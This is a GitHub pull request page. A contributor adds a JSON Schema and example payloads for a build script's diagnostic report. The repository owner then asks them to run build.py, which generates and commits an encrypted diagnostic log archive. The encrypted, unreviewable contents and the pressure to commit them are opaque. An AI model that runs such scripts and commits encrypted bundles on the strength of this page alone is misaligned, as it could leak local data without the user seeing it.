Skip to content

feat: add JSON Schema for diagnostic build metadata (Issue #34)#328

Open
feng83232 wants to merge 1 commit into
lobster-trap:mainfrom
feng83232:json-schema
Open

feat: add JSON Schema for diagnostic build metadata (Issue #34)#328
feng83232 wants to merge 1 commit into
lobster-trap:mainfrom
feng83232:json-schema

Conversation

@feng83232

Copy link
Copy Markdown

Summary

Implements issue #34 by creating a JSON Schema (draft-07) for the diagnostic build metadata data structure — the JSON report produced by build.py's build_diagnostic_report() function. This report is generated on every build run and contains per-module pass/fail results, timing, encrypted log references, and summary counts.

The data structure is defined in build.py (lines 524–577, function build_diagnostic_report()) and its real-world output can be found at diagnostic/build-3774a0c8.json.

Changes

  • schemas/diagnostic_metadata.schema.json — Full JSON Schema (draft-07) describing the diagnostic build report:

    • $schema, $id, title, description, type, properties
    • 17 total properties including generated_at, commit, chunked, total_modules, passed, failed, modules, pr_note
    • Required fields: generated_at, commit, chunked, total_modules, passed, failed, modules, pr_note
    • Module objects validated with name, status (enum: PASS/FAIL), elapsed_seconds, artifact, output
    • diagnostic_logd supports single string, array of strings, or null
    • additionalProperties: false to catch unexpected fields
  • schemas/examples/valid_full_build_failure.json — Valid payload matching the real build-3774a0c8.json (all 10 modules failed due to missing toolchains)

  • schemas/examples/valid_full_build_success_chunked.json — Valid payload with successful build, chunked log, and all 3 modules passing

  • schemas/examples/invalid_missing_fields_and_types.json — Invalid payload testing type violations, wrong enum values, missing required fields, wrong data types

  • Diagnostic artifacts: diagnostic/build-3774a0c8.json and diagnostic/build-3774a0c8.logd (generated by running python3 build.py --module frontend)

Testing

Schema validation passed for all 3 example payloads:

✓ VALID (expected): schemas/examples/valid_full_build_failure.json
✓ VALID (expected): schemas/examples/valid_full_build_success_chunked.json
✓ INVALID (expected): schemas/examples/invalid_missing_fields_and_types.json — 'yes' is not of type 'boolean'

Validation performed using Python jsonschema library (v4.19.2) against JSON Schema draft-07.

Checklist

  • Relevant modules affected by these changes build locally
  • Tests pass locally
  • Diagnostic build log is committed in this PR
  • Documentation has been updated, if applicable
  • Configuration or schema changes are documented, if applicable
  • No generated build artifacts are committed, except the required diagnostic build log
  • Changes are scoped to the PR purpose and avoid unrelated cleanup
  • Security, privacy, and error-handling implications have been considered

  • I would like to request that my diagnostic build log is removed before merging

Create schemas/diagnostic_metadata.schema.json (JSON Schema draft-07)
describing the diagnostic build metadata report produced by
build.py's build_diagnostic_report() function.

Includes:
- Schema file with full property definitions, types, and constraints
- 3 example payloads in schemas/examples/ (2 valid, 1 invalid)
- Validation script output confirming all examples pass/fail correctly
- Diagnostic build artifacts from the current commit (3774a0c)

Closes lobster-trap#34
@lobster-trap

Copy link
Copy Markdown
Owner

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants